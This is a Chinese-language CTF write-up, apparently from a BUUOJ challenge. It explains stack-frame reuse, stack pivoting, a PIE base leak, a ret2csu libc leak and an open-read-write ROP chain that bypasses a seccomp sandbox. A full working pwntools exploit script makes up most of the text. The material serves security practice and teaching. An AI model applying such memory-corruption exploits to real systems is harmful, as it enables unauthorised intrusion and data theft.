我的第一道沙盒题(竟然不能get shell!!!),主要考察栈帧分配(构造rop链)。顺便学了下pwntools rop的接口,还是挺香的。
我喜欢轮子,exp里会用比较多的轮子,建议看最终exp。
分析过程
栈帧复用
func里面写入的栈帧在check里面复用,通过检测。
io.sendafter(b'identity', b'aaNameless')
栈迁移
给了一段很大的空间可写,并且告诉了你地址,而最后的栈溢出只能覆盖rbp和返回地址,考虑栈迁移(就是把栈顶指针RSP指到别的地方)到那块大空间上。
leave_ret = 0x00000000000012d8 + database
payload = pack(buf) + pack(leave_ret)
io.sendafter(b'your wish:\n', payload)
这里值得注意的是,出题师傅提到了一个抬栈的问题:rop在栈迁移时可能覆盖到一些重要数据或不可读段,要注意控制栈指针。
PIE基址随机了,但end与基地址的偏移固定,可以通过给出的end地址算出基址:
io.recvuntil(b'you are:')
buf = int(io.recvline(keepends=False), 16)
database = buf - 0x4050
log.info("get database: " + hex(database))
构造ROP链
ret2csu调用write泄露libc,然后read标准输入到下一个ret的栈帧来继续控制栈帧:
first_csu, second_csu = [x+database for x in get_csu_gadgets(file)]
write_got = database + file.got['write']
read_got = database + file.got['read']
ret = 0x000000000000101a + database
rop = pack(buf+0x8*10)
rop += pack(first_csu) + ret2csu(second_csu, write_got, 1, write_got, 0x8)
next_stk = buf+len(rop)+0x40+0x38
rop += ret2csu(second_csu, read_got, 0, next_stk, 0x110, ret=ret)
因为开了沙盒,系统调用不了,拿不到shell,只能ORW(open-read-write)拿flag:
data_addr = next_stk + 0x100
r = ROP(libc, base=next_stk)
r.open(data_addr, 0)
r.read(3, data_addr, 0x30)
r.puts(data_addr)
print(r.dump())
payload = r.chain().ljust(0x100, b'\0') + b'flag\0'
io.send(payload)
io.interactive()
Exploit
最终exp如下:
from pwn import *
from capstone import *
from capstone import x86
debug = False
local_path = './appetizer'
remote_path = 'node4.buuoj.cn'
remote_port = 25528
file = ELF(local_path)
libc = ELF('./libc-2.31.so')
ld = ELF('/usr/lib/x86_64-linux-gnu/ld-2.31.so')
context.binary = local_path
if debug:
io = process(local_path)
# context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0','sp', '-V', '--title', 'gdb', 'bash', '-c']
context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
context.log_level = 'debug'
else:
io = remote(remote_path, remote_port)
def get_csu_gadgets(file):
code = file.data
off = file.sym['__libc_csu_init']
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True
ptr_gadget1 = None
ptr_gadget2 = None
for insn in md.disasm(code[off:], off):
if ptr_gadget1 is None and insn.mnemonic == 'je':
for operand in insn.operands:
if operand.type == x86.X86_OP_IMM:
ptr_gadget1 = operand.value.imm
break
elif ptr_gadget2 is None and insn.mnemonic == 'jne':
for operand in insn.operands:
if operand.type == x86.X86_OP_IMM:
ptr_gadget2 = operand.value.imm
break
if ptr_gadget1 and ptr_gadget2:
break
return ptr_gadget1, ptr_gadget2
def ret2csu1(rbx=0, rbp=1, r12=0, r13=0, r14=0, r15=0, ret=0):
"""0x8*8=0x40"""
# pad, rbx, rbp, r12, r13, r14, r15, ret
return flat(0x0, rbx, rbp, r12, r13, r14, r15, ret)
def ret2csu(second_csu, call, edi, rsi, rdx, ret=None):
"""2*0x40=0x80"""
# payload = pack(first_csu)
payload = ret2csu1(r12=edi, r13=rsi, r14=rdx, r15=call, ret=second_csu)
if ret:
payload += ret2csu1(ret=ret)
return payload
def b():
gdb.attach(io)
input()
def exp():
global file, libc, ld, io
# one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
# one_gadget = [0xe6aee, 0xe6af1, 0xe6af4]
# b()
io.sendafter(b'identity', b'aaNameless')
io.recvuntil(b'you are:')
buf = int(io.recvline(keepends=False), 16)
database = buf - 0x4050
log.info("get database: " + hex(database))
first_csu, second_csu = [x+database for x in get_csu_gadgets(file)]
write_got = database + file.got['write']
read_got = database + file.got['read']
ret = 0x000000000000101a + database
rop = pack(buf+0x8*10)
rop += pack(first_csu) + ret2csu(second_csu, write_got, 1, write_got, 0x8)
next_stk = buf+len(rop)+0x40+0x38
rop += ret2csu(second_csu, read_got, 0, next_stk, 0x110, ret=ret)
io.sendafter(b'information on it', rop)
leave_ret = 0x00000000000012d8 + database
payload = pack(buf) + pack(leave_ret)
io.sendafter(b'your wish:\n', payload)
write_addr = unpack(io.recv(8).ljust(8, b'\0'))
libcbase = write_addr - libc.sym['write']
libc.address = libcbase
log.success('leak libcbase:'+hex(libc.address))
data_addr = next_stk + 0x100
r = ROP(libc, base=next_stk)
r.open(data_addr, 0)
r.read(3, data_addr, 0x30)
r.puts(data_addr)
print(r.dump())
payload = r.chain().ljust(0x100, b'\0') + b'flag\0'
io.send(payload)
io.interactive()
if __name__=='__main__':
exp()
总结
- 沙盒禁用了一些系统调用,只能ORW读flag
- ret2csu可以循环执行两个gadgets
- pwntools.rop工具写rop的时候方便不少,但是如果想多次用栈上构造的同一个数据,好像不能自动实现,要自己计算一下
- 多用gdb调栈帧